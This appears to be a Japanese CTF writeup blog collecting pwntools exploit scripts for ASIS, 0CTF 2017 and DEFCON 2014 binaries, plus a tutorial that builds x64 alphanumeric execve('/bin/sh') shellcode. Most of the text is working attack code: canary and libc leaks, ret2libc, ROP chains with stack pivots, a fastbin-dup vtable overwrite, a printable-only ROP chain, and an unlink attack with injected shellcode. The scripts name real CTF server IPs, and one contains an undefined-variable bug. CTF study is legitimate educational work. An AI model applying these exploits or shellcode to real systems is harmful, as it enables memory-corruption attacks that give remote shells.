conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], execute=execute)
else:
    conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'])
    # conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 100
stdout_addr = 0x804a024
#stdout_offset = 0x1b0d60
stdout_offset = 0x1b2d60
libc_start_main_got = 0x8049ff0
libc_start_main_offset = 0x0018540
master_canary_offset = 0x1e5954
system_offset = 0x0003a940
binsh_offset = 0x158e8b

f = open('table.json', 'r')
d = json.load(f)

def CRC(size, payload):
    conn.sendlineafter('Choice: ', str(1))
    conn.sendlineafter('What is the length of your data: ', str(size))
    conn.sendlineafter('bytes to process: ', payload)
    conn.recvuntil('CRC is: ')
    return int(conn.recv(10), 16)
    

def search(h):
    for k, v in d.items():
        if v == h:
            return int(k)
    return -1


log.info('Pwning')

payload = "\x00" * bufsize
payload += p32(stdout_addr)

#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 0)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 1)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 2)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 3)))

buf = ''
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 0))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 1))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 2))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 3))))

libc_base = u32(buf) - libc_start_main_offset
log.info('libc_base = {:#x}'.format(libc_base))
master_canary = libc_base + master_canary_offset
# master_canary = libc_base + binsh_offset

#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 0)))
#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 1)))
##print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 2)))
#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 3)))
buf = ''
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 0))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 1))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 2))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 3))))
log.info('canary = {:#x}'.format(u32(buf)))

payload = "A" * 0x28
payload += buf
payload += "AAAA" * 3
payload += p32(libc_base + system_offset)
payload += "BBBB"
payload += p32(libc_base + binsh_offset)
conn.sendline('1')
conn.sendline(payload)

conn.interactive()

# ASIS{db17755326b5df9dab92e18e43c3ee51}
% cat table.json 
{"0": 3523407757, "1": 2768625435, "2": 1007455905, "3": 1259060791, "4": 3580832660, "5": 2724731650, "6": 996231864, "7": 1281784366, "8": 3705235391, "9": 2883475241, "10": 3523407757, "11": 1171273221, "12": 3686048678, "13": 2897449776, "14": 901431946, "15": 1119744540, "16": 3484811241, "17": 3098726271, "18": 565944005, "19": 1455205971, "20": 3369614320, "21": 3219065702, "22": 651582172, "23": 1372678730, "24": 3245242331, "25": 3060352845, "26": 794826487, "27": 1483155041, "28": 3322131394, "29": 2969862996, "30": 671994606, "31": 1594548856, "32": 3916222277, "33": 2657877971, "34": 123907689, "35": 1885708031, "36": 3993045852, "37": 2567322570, "38": 1010288, "39": 1997036262, "40": 3887548279, "41": 2427484129, "42": 163128923, "43": 2126386893, "44": 3772416878, "45": 2547889144, "46": 248832578, "47": 2043925204, "48": 4108050209, "49": 2212294583, "50": 450215437, "51": 1842515611, "52": 4088798008, "53": 2226203566, "54": 498629140, "55": 1790921346, "56": 4194326291, "57": 2366072709, "58": 336475711, "59": 1661535913, "60": 4251816714, "61": 2322244508, "62": 325317158, "63": 1684325040, "64": 2766056989, "65": 3554254475, "66": 1255198513, "67": 1037565863, "68": 2746444292, "69": 3568589458, "70": 1304234792, "71": 985283518, "72": 2852464175, "73": 3707901625, "74": 1141589763, "75": 856455061, "76": 2909332022, "77": 3664761504, "78": 1130791706, "79": 878818188, "80": 3110715001, "81": 3463352047, "82": 1466425173, "83": 543223747, "84": 3187964512, "85": 3372436214, "86": 1342839628, "87": 655174618, "88": 3081909835, "89": 3233089245, "90": 1505515367, "91": 784033777, "92": 2967466578, "93": 3352871620, "94": 1590793086, "95": 701932520, "96": 2679148245, "97": 3904355907, "98": 1908338681, "99": 112844655, "100": 2564639436, "101": 4024072794, "102": 1993550816, "103": 30677878, "104": 2439710439, "105": 3865851505, "106": 2137352139, "107": 140662621, "108": 2517025534, "109": 3775001192, "110": 2013832146, "111": 252678980, "112": 2181537457, "113": 4110462503, "114": 1812594589, "115": 453955339, "116": 2238339752, "117": 4067256894, "118": 1801730948, "119": 476252946, "120": 2363233923, "121": 4225443349, "122": 1657960367, "123": 366298937, "124": 2343686810, "125": 4239843852, "126": 1707062198, "127": 314082080, "128": 1069182125, "129": 1220369467, "130": 3518238081, "131": 2796764439, "132": 953657524, "133": 1339070498, "134": 3604597144, "135": 2715744526, "136": 828499103, "137": 1181144073, "138": 3748627891, "139": 2825434405, "140": 906764422, "141": 1091244048, "142": 3624026538, "143": 2936369468, "144": 571309257, "145": 1426738271, "146": 3422756325, "147": 3137613171, "148": 627095760, "149": 1382516806, "150": 3413039612, "151": 3161057642, "152": 752284923, "153": 1540473965, "154": 3268974039, "155": 3051332929, "156": 733688034, "157": 1555824756, "158": 3316994510, "159": 2998034776, "160": 81022053, "161": 1943239923, "162": 3940166985, "163": 2648514015, "164": 62490748, "165": 1958656234, "166": 3988253008, "167": 2595281350, "168": 168805463, "169": 2097738945, "170": 3825313147, "171": 2466682349, "172": 224526414, "173": 2053451992, "174": 3815530850, "175": 2490061300, "176": 425942017, "177": 1852075159, "178": 4151131437, "179": 2154433979, "180": 504272920, "181": 1762240654, "182": 4026595636, "183": 2265434530, "184": 397988915, "185": 1623188645, "186": 4189500703, "187": 2393998729, "188": 282398762, "189": 1741824188, "190": 4275794182, "191": 2312913296, "192": 1231433021, "193": 1046551979, "194": 2808630289, "195": 3496967303, "196": 1309403428, "197": 957143474, "198": 2684717064, "199": 3607279774, "200": 1203610895, "201": 817534361, "202": 2847130659, "203": 3736401077, "204": 1087398166, "205": 936857984, "206": 2933784634, "207": 3654889644, "208": 1422998873, "209": 601230799, "210": 3135200373, "211": 3453512931, "212": 1404893504, "213": 616286678, "214": 3182598252, "215": 3400902906, "216": 1510651243, "217": 755860989, "218": 3020215367, "219": 3271812305, "220": 1567060338, "221": 710951396, "222": 3010007134, "223": 3295551688, "224": 1913130485, "225": 84884835, "226": 2617666777, "227": 3942734927, "228": 1969605100, "229": 40040826, "230": 2607524032, "231": 3966539862, "232": 2094237127, "233": 198489425, "234": 2464015595, "235": 3856323709, "236": 2076066270, "237": 213479752, "238": 2511347954, "239": 3803648100, "240": 1874795921, "241": 414723335, "242": 2175892669, "243": 4139142187, "244": 1758648712, "245": 534112542, "246": 2262612132, "247": 4057696306, "248": 1633981859, "249": 375629109, "250": 2406151311, "251": 4167943193, "252": 1711886778, "253": 286155052, "254": 2282172566, "255": 4278190080}

Start hard (Pwning 201pt)

類題を解いたことがあるので、やるだけだった。blute forceとか必要ない。やるだけ

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "128.199.152.175"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 10001

# libc = ELF('')
elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], execute=execute)
else:
    conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'])
    # conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], env={'LD_PRELOAD': ''})

# preparing for exploitation

bufsize = 24

bss_stage = 0x601880
one_gadget = 0x0f0567
read_got = 0x601018
# 0x004005c3: pop rdi ; ret  ;  (1 found)
# 0x004005c1: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x004005c3
pop_rsi_r15 = 0x004005c1
# 0x004005ba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbx_rbp_r12_r13_r14_r15 = 0x004005ba
# 0x00400550: leave  ; ret  ;  (1 found)
leave_ret = 0x00400550
# 0x00400490: pop rbp ; ret  ;  (2 found)
pop_rbp = 0x00400490
'''
    0x4005a0:    mov    rdx,r13
    0x4005a3:    mov    rsi,r14
    0x4005a6:    mov    edi,r15d
    0x4005a9:    call   QWORD PTR [r12+rbx*8]
'''
call_r12 = 0x004005a0

log.info('Pwning')

# read
payload = "A" * bufsize
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x200)
payload += p64(bss_stage)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
# read
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
# stack pivot
payload += p64(pop_rbp)
payload += p64(bss_stage)
payload += p64(leave_ret)
payload += "\x00" * (0x400 - len(payload))
conn.send(payload)

payload = p64(0x00000400406)
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x8)
payload += p64(read_got)
payload += p64(1)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7

payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(bss_stage)
payload += p64(0x80)
payload += p64(bss_stage + 0x300)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
payload += p64(pop_rbp)
payload += p64(bss_stage + 0x300)
payload += p64(leave_ret)
payload += "A" * (0x200 - len(payload))
conn.send(payload)
conn.send('\xd0')

libc_base = u64(conn.recv(8)) - 0x00f66d0
log.info("libc_base = {:#x}".format(libc_base))

payload = "AAAABBBB"
payload += p64(libc_base + 0x4526a)
payload += "\x00" * (0x80 - len(payload))
conn.send(payload)
conn.interactive()

# ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}

Ca…gF remastered (Pwning 384pt)

heapが良くわからないので、なんとなくでやった。隣にいたheapのプロに色々と聞きながらだったので解けた。適当にheapとlibcのアドレスをリークさせ、fastbin dupでチャンクの共有状態を作りだしてfastbin attackで、stdoutのvtable ptrを書き換えた。あとは適当なOne gadget RCEが使えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "128.199.85.217"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 10001

# libc = ELF('')
elf = ELF('./CaNaKMgF_remastered')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./CaNaKMgF_remastered'], execute=execute)
else:
    conn = process(['./CaNaKMgF_remastered'])
    # conn = process(['./CaNaKMgF_remastered.bin_e70ec4b07287604ad59ae59f9cb170ab60a0cc5c'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def Allocate(size, payload):
    conn.recvuntil('5. Run away')
    conn.sendline('1')
    conn.recvuntil('Length? ')
    conn.sendline(str(size))
    conn.sendline(payload)

def Free(idx):
    conn.recvuntil('5. Run away')
    conn.sendline('3')
    conn.recvuntil('Num? ')
    conn.sendline(str(idx))

def Read(idx):
    conn.recvuntil('5. Run away')
    conn.sendline('4')
    conn.recvuntil('Num? ')
    conn.sendline(str(idx))


log.info('Pwning')

Allocate(0x28, "A" * 0x28)  # 0
Allocate(0x28, "B" * 0x28)  # 1
Allocate(0x28, "C" * 0x28)  # 2

Free(1)
Free(0)
Read(0)
heap_base = u64(conn.recv(6) + "\x00\x00") - 0x30
log.info('heap_base = {:#x}'.format(heap_base))

Allocate(0x500, "A")
Free(3)
Read(0)
libc_base = u64(conn.recv(6) + "\x00\x00") - 0x3c3bc8
log.info('libc_base = {:#x}'.format(libc_base))

Allocate(0x68, "X" * 0x60) # 4
Allocate(0x68, "Y") # 5
Free(4)
Free(5)
Free(4)

Allocate(0x68, p64(libc_base + 0x3c46c5 - 0x8))    # 6
Allocate(0x68, "A")  # 7

dummy = "A" * 8
dummy += "B" * 8
dummy += "C" * 8
dummy += p64(libc_base + 0x4526a)
dummy += "E" * 8
dummy += "F" * 8
dummy += "G" * 8
dummy += p64(libc_base + 0x791e0)
Allocate(0x68, dummy)  # 8

payload = "\x00" * 3
payload += "\x00" * (8 * 3)
payload += p64(0xffffffff)
payload += "\x00" * 8 
payload += p64(heap_base + 0xa0)
Allocate(0x68, payload)  # 9

conn.interactive()

# ASIS{full_relro_fastbin_attack!!!!!!_:-P}

CTF Survey

感想書いた。

おわりに

pwnは初心者向けに感じた。heapが良くわからないので精進したいと思う。

x64 alphanumeric shellcodeを書く

はじめに

最近、x64でalphanumeric shellcodeを書く機会が増えてきた。その度に使える命令が何か調べ直して一から書いていて面倒だと感じたので、一旦まとめておく。 適当にググるLinux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes)が出てきたが、うまく動作しなかった。というか無駄なことが多いように感じたので、自分で書き直してみる。

使える命令

個人的に使えると思った命令。alphanumericな命令は他にもあるが、使えるのか良く分からんので載せていない。 pushはほぼ使える。ただしpopは、6種類のレジスタでしか使えない。system callを呼びたい場合は、rdi, rsiなどへの値の設定は必須となってくるのでキツイ。もちろんsyscallも使えない。

0x50: push   rax
0x51: push   rcx
0x52: push   rdx
0x53: push   rbx
0x54: push   rsp
0x55: push   rbp
0x56: push   rsi
0x57: push   rdi
0x4150: push r8
0x4151: push r9
0x4152: push r10
0x4153: push r11
0x4154: push r12
0x4155: push r13
0x4156: push r14
0x4157: push r15

0x58: pop    rax
0x59: pop    rcx
0x5a: pop    rdx
0x4158: pop r8
0x4159: pop r9
0x415a: pop r10

0x34XX: xor al, imm8
0x35XXYY: xor ax, imm16
0x35XXYYZZWW: xor eax, imm32
0x6aXX: push imm8
0x68XXYYZZWW: push imm32
xor DWORD PTR [r64 + imm8], r32 

よく使うパターン

shellcodeが走る領域はrwxな領域である場合が多く、不足する命令は実行中に生成すればいい。メモリに対するXORがあるので、これを用いて動的に所望の命令を作っていく。 また、shellcodeが呼ばれるときには、shellcodeの先頭を指すアドレスを持っているレジスタがいる場合が多い。それを一旦pushし、pop rcxでrcxへと持ってくることで、xor DWORD PTR [rcx + imm8], eaxが使える。xorなので、ある程度までは自由にメモリの書き換えができる。xor eax, imm32と組み合わせれば書き換えたいアドレスの下位32bit分は調節できるはず(確かめてない)。

よく使うパターンは、shellcodeの先頭を指すアドレスがrcxにあることを前提としている。例では、pop rsi, pop rdi, sycallを動的に作り出している。

push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax

※ [rcx+0x30] には0x444e6f6eが書き込まれている
0x30 ^ 0x6e = 0x5e == pop rsi
0x30 ^ 0x6f = 0x5f  == pop rdi
0x41 ^ 0x4e = 0x0f
0x41 ^ 0x44 = 0x05  \x0f\x05 == syscall

sys_execve(&‘/bin/sh’, NULL, NULL)

systemcallでexecveによるシェル起動ができるalphanumeric shellcodeを書いてみる。 x64では、raxにsystemcall番号、rdiに第一引数、rsiに第二引数、rdxに第3引数を設定する必要がある。 このshellcodeでは、raxに0x3b(59)、rdiに"/bin/sh"の先頭アドレス、rsiとrdxには0を設定している。call raxから呼び出されることを想定しているので、まずはpush raxをしている。shellcodeが呼び出された時にshellcodeの先頭アドレスを持っているレジスタならば何でも良いので、raxでは都合が悪いときは適宜変更してほしい。ちなみに2回pushしているのは安易なパッディングである。

これをコンパイルすると、PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAで60byteとなる。

/* from call rax */
push rax
push rax
pop rcx

/* XOR pop rsi, pop rdi, syscall */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax

/* XOR /bin/sh */
push 0x34303041
pop rax
xor DWORD PTR [rcx+0x34], eax
push 0x41303041
pop rax
xor DWORD PTR [rcx+0x38], eax

/* rdi = &'/bin/sh' */
push rcx
pop rax
xor al, 0x34
push rax

/* rdx = 0 */
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx

push rax

/* rax = 59 (SYS_execve) */
push 0x41
pop rax
xor al, 0x7a

/* pop rsi, pop rdi*/
/* syscall */ 
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44

/* /bin/sh */
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x5a
.byte 0x41

関連リンク

Linux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes) x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー http://www.intel.co.jp/content/dam/www/public/ijkk/jp/ja/documents/developer/248966-024JA.pdf

0CTF 2017 Quals pages writeup

はじめに

期間中に解けなかったのが悔しかったので、writeup見ながら解いた。

https://gruss.cc/files/prefetch.pdf
が頭にあれば解けたかもしれない。というか元ネタがこれだと思う。期間中、cacheかTLB関連の何かを使うのかなぁと予想していたが、PREFETCH命令がmappingされていないページに対して実行されるとNOPになることは知らなかった。公式リファレンスにも載ってなかったとはず。有効なページと無効なページでは、実行時間が変わってくるのでRDTSC命令を使って経過クロックを比較してやればいい。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.198"
RPORT = 13579
LHOST = "127.0.0.1"
LPORT = 13579

# libc = ELF('')
elf = ELF('./pages_d9a22948ada76c76fcd1658457d51b61')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        print "A"
        #conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./pages_d9a22948ada76c76fcd1658457d51b61'], execute=execute)

else:
    conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'])
    # conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'], env={'LD_PRELOAD': ''})

# preparing for exploitation
#log.info('Pwning')
shellcode = '''
        
    mov r8, 0x0
    mov r9, 65
    mov r10, 0x0000000200000000
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    xor rdx, rdx

loop:
    mov rax, r8
    shl rax, 13
    add rax, r10
    mov rdi, rax
    call measure
    mov r14, rax

    mov rax, r8
    shl rax, 13
    mov rbx, 0x01
    shl rbx, 12
    add rax, rbx
    add rax, r10
    mov rdi, rax
    call measure
    mov r15, rax

    cmp r14d, r15d
    ja one

zero:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x00
    jmp hoge
one:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x01

hoge:
    inc r8
    cmp r8, r9
    je finish
    jmp loop

measure:
    mov rbx, 0x10000 
    rdtsc 
    mov ecx, eax

    measure_loop:
        dec rbx
        test rbx, rbx
        je measure_done
        PREFETCHT0 [rdi]
        jmp measure_loop
    measure_done:
        rdtsc
        sub eax, ecx
        ret

finish:
    ret
'''

payload = asm(shellcode) 
payload = shell.ljust( 0x4000, "\x90")
conn.send(p32(0x4000))
conn.sendline(payload)
conn.interactive()

0CTF 2017 Quals char writeup

はじめに

解けたのが、これだけだった。
他の問題もチームメンバーと話したりしたが、直接の貢献は一切してない(one gadget rceのoffset調べたくらい?)。
単純なので、やるだけだった。

exploit

libcは添付されている。そして、添付のlibcは0x5555e000にマッピングされる。canaryがなく、Stack BOFが起きるので簡単にEIPが奪えて、ROPに持ち込むことができる。ただし、入力できるペイロードはASCIIコードでpritableなものに制限されている。

まずは、使用できるROP gadgetを探した。rp++でROP gadgetをファイルに書き出し、pythonでアドレスがpritableなROP gadgetだけを残した。

% rp++ ./libc.so -r 5 > gadgets
from pwn import *

f = open('./gadgets')
buf  = f.read().split('\n')

libc_base = 0x5555e000
for line in buf:
    if all(c in string.printable for c in p32(libc_base + int(line.split(':')[0][2:], 16))):
        print hex(libc_base + int(line.split(':')[0][2:], 16)), line

あとは、使えそうなgadgetを目で探してROP chainを組むだけ。stagerで良かったが直接execveから/bin/shを起動した。工夫した点としては、/bin/shを指すアドレスをebxにセットすることである。/bin/shを指すアドレスは、下位16bitがpritableにならない。add bl, alとadd bh, ahを使って、上手く/bin/shを指すアドレスとなるように計算した。
以下がexploitで、これでシェルが取れた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.214"
RPORT = 23222
LHOST = "127.0.0.1"
LPORT = 23222

# libc = ELF('./libc.so')
elf = ELF('./char')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./char'], execute=execute)
else:
    conn = process(['./char'])
    # conn = process(['./char'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation
bufsize = 32
libc_base = 0x5555e000

zero_addr = 0x5557215c          #:     0x00000000
inc_eax = 0x55644263            #0x000e6263: inc eax ; ret  ;  (1 found)
xor_eax = 0x555d2040            #0x00074040: xor eax, eax ; ret  ;  (1 found)
pop_eax_ebx_esi_edi_ebp = 0x5557506b #0x0001706b: pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pop_ecx = 0x556d2a51            # pop    ecx
pop_edx = 0x555f3555            # pop    edx, xor    eax,eaxm pop    edi
mov_edx_0 = 0x555f692d          #0x0009892d: mov edx, dword [edx] ; xor eax, eax ; test edx, edx ; sete al ; rep ret  ;  (1 found)
and_ecx = 0x5566306d #0x0010506d: and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret  ;  (1 found)
add_bh_ah = 0x55634e43          #0x000d6e43: add bh, ah ; ret  ;  (1 found)
add_bl_al = 0x555f643e          #0x0009843e: add bl, al ; xor eax, eax ; ret  ;  (1 found)
int0x80 = 0x55667177            #0x00109177: int 0x80 ;  (1 found)

eax_value = 0x77775070
ebx_value = 0x556b677c

log.info('Pwning')

payload = "A" * bufsize

# ecx = 0
payload += p32(pop_ecx)
payload += p32(0x30303030)
payload += p32(and_ecx)

# edx = 0
payload += p32(pop_edx)
payload += p32(zero_addr)
payload += p32(zero_addr)
payload += p32(mov_edx_0)

# ebx = &'/bin/sh' and eax = 0
payload += p32(pop_eax_ebx_esi_edi_ebp)
payload += p32(eax_value)
payload += p32(ebx_value)
payload += "XXXX" * 3
payload += p32(add_bh_ah)
payload += p32(add_bl_al)

# eax = 11
payload += p32(inc_eax) * 11

# int 0x80
payload += p32(int0x80)

print len(payload)
print payload

conn.recvuntil('GO : )')
conn.sendline(payload)
conn.interactive()

DEFCON 2014 CTF - Baby's First: 1 - heap

はじめに

heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。

exploit

kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。

from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "localhost"
RPORT = 8080
LHOST = "127.0.0.1"
LPORT = 8080

# libc = ELF('')
elf = ELF('./heap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        #b *{0}
        #b *0x8048afa
        ignore 2 0x0a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./heap'], execute=execute)
else:
    conn = process(['./heap'])
    # conn = process(['./heap'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 260

exit_func = 0x804c8ac
printf_got = 0x804C004

log.info('Pwning')

conn.recvuntil("size=755]\n[ALLOC][loc=")
shellcode_base = int(conn.recv(7), 16)
log.info("{:#x}".format(shellcode_base))
conn.recvuntil('[size=260]:')

payload = "\x90\x90\x90\xb8"
payload += "JUNK"   # overwrite at unlink
payload += asm(shellcraft.sh())
payload += "A" * (bufsize - len(payload))
payload += p32(0x1)
payload += p32(exit_func - 8)
payload += p32(shellcode_base)

conn.sendline(payload)

conn.interactive()